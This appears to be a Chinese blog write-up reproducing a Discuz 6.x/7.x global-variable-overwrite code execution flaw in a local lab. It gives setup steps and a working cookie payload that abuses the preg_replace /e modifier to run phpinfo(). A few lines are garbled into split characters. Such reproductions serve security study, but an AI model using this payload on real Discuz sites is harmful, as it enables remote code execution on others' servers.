Discuz 6.x 7.x 全局变量防御绕过导致代码执行漏洞复现
闲谈:
其实自己做个不少漏洞复现,但是一直没好意思发,后来我发现了,不发出来我写他干嘛?(反正也没人看)
0x00 漏洞概述:
由于php5.3.x版本里php.ini的设置里request_order默认值为GP,导致 R E Q U E S T 中 不 再 包 含 _REQUEST中不再包含 REQUEST中不再包含_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
0x01 前置条件:
php版本:php5.3.x php5.6.x
(经测试php5.2.x php7 均复现失败)
0x02 影响版本:
Discuz 6.x
Discuz 7.x
0x03 环境搭建:
靶机:Windows10专业版1903 phpstudy_pro php5.6.9nts Mysql5.7.26 Apache2.4.39 UCenter1.5.0 Discuz7.2
攻击机:kali2020 burp 火狐浏览器
环境搭建:
安装UCenter1.5.0:
将下载的UCenter1.5.0压缩包中得upload文件夹解压到网站根目录下,访问127.0.0.1/UCenter_1.5.0_SC_UTF8/upload/install,安装步骤如图0-图3所示:
图0
图1
图2
图3
安装Discuz7.2:
将下载的Discuz7.2压缩包中得upload文件夹解压到网站根目录下,访问127.0.0.1/Discuz7.2/upload/install ,安装步骤如图4-图7所示:
图4
图5
图6
图7
数据库信息必须是已经存在的,安装完成。
0x04 漏洞利用:
访问一个已经存在的帖子,用burp抓包,并且在cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); 如图8所示:
图8
返回结果如下图9:
图9
可见执行成功。
附录:
1:127.0.0.1/Discuz7.2/upload/install 页面空白,无法出现安装引导:
打开config.inc.php文件,将
d
b
u
s
e
r
的
值
均
设
置
为
r
o
o
t
,
dbuser的值均设置为root,
dbuser的值均设置为root,dbpw的值设为123456,$dbname设为root (phpstudy数据库名称,账号,密码)如图10:
图10